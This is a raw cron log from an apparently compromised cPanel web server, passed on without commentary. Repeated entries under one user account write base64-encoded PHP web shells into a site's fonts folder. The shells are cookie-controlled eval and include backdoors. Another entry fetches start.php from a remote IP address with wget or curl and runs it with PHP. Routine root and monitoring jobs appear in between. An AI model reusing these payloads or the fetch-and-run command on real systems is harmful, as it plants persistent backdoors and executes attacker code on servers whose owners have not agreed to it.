Sep 13 03:41:01 ip-184-168-122-23 CROND[8345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:41:01 ip-184-168-122-23 CROND[8346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:41:01 ip-184-168-122-23 CROND[8348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:42:01 ip-184-168-122-23 CROND[8424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:42:01 ip-184-168-122-23 CROND[8425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:42:01 ip-184-168-122-23 CROND[8428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:42:01 ip-184-168-122-23 CROND[8427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:42:01 ip-184-168-122-23 CROND[8429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:43:01 ip-184-168-122-23 CROND[8531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:43:01 ip-184-168-122-23 CROND[8533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:43:01 ip-184-168-122-23 CROND[8532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:43:01 ip-184-168-122-23 CROND[8534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:43:01 ip-184-168-122-23 anacron[3439]: Job `cron.daily' started
Sep 13 03:43:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[8543]: starting logrotate